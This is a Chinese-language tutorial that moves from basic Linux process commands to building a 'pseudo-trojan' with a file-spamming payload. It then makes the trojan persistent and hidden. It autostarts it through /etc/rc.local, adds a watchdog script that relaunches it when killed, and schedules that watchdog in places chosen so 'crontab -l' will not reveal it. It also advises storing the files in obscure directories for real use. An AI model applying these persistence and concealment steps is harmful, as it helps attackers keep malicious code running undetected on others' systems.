預備知識:
將一個程序放入到后台,悄悄的執行
./xxx.sh &
進程:
用戶進程:由用戶來管理
系統進程:由系統內核自行管理
系統中的每個進程,都有一個位置的ID,這就是pid,而且每次啟動進程以后,PID都不相同
進程相關的命令
jobs
作用:查看當前運行在后台的進程有哪些
信息
第一列:進程編號
第二列:進程狀態
第三列:進程是如何發起的
fg 進程編號 把進程從后台調到前台執行
kill %進程編號 殺死進程
ps aux 打印系統所有進程

num=`ps aux | grep myser |wc -l` #執行grep myser本身就會創建一個進程,如果有myser這個進程則num為2,如果沒有myser這個進程,則num為1,

kill作用殺死進程
格式:kill 信號級別 進程PID
信號級別
-9:斬立決。立刻殺死進程
-15:死緩。等待現有的客戶端處理完畢之后,立刻殺死進程
【等待期間新的用戶請求無法被接入】
木馬最終效果
讓程序自動運行,而且是開機自動運行起來
程序還可以自我保護
防止程序文件被刪除
實現步驟
1. 開發一個偽木馬myser,位置:可以隨便放,這里為了方便放在/下,實際使用時是放在非常隱蔽的目錄下
#!/bin/bash
while true
do
touch /home/`date +%T`.txt #在/home/下每隔一秒就創建一個文件,文件名為 創建時間.txt
sleep 1
done

創建完后賦權限 chmod +x myser

試運行 ./myser ctrl+c停止 cd到/home/目錄下查看

2. 將這個木馬設置為開機自動啟動
在/etc/rc.local中寫入
/bin/bash /myser &

3. 開發一個檢查木馬進程是否正在運行的程序,check.sh ,位置:可以隨便放,這里為了方便放在/下,實際使用時是放在非常隱蔽的目錄下
#!/bin/bash
num=`ps aux | grep myser |wc -l` #執行grep myser本身就會創建一個進程,如果有myser這個進程則num為2,如果沒有myser這個進程,則num為1(),
if [ $num -eq 1 ];then #num為1則表示木馬進程已被殺死,需重新啟動木馬
/bin/bash /myser & # &表示后台啟動,不再屏幕上出現信息
fi
創建完后賦權限 chmod +x check.sh

4.將check.sh寫進或放進計划任務中
思路1:
寫進計划任務中 但這樣很容易用crontab -l 查看發現
crontab -e #創建計划任務

每分鍾執行一次
* * * * * # 分 時 日 月 周
crontab -l #查看當前創建了哪些計划任務

思路2:
將check.sh放在/etc/cron.d/cron.hourly
這個目錄下的程序會每隔1h自動執行一次
思路3:
執行check.sh的計划任務寫在/etc/crontab #這個目錄下的crontab中的任務計划不會出現在crontab -l中
*/5 * * * * /bin/bash /etc/check.sh
思路4:
在/etc/init.d下隨便找個程序,將執行check的命令寫進去
5.重啟驗證效果---------------reboot關機
開機后在/home/下發現一堆文件

腳本正在運行

殺死進程

過一分鍾后再次查看,發現進程已重啟,注意看PID是不一樣的,表示進程是重新啟動過的

自此完成
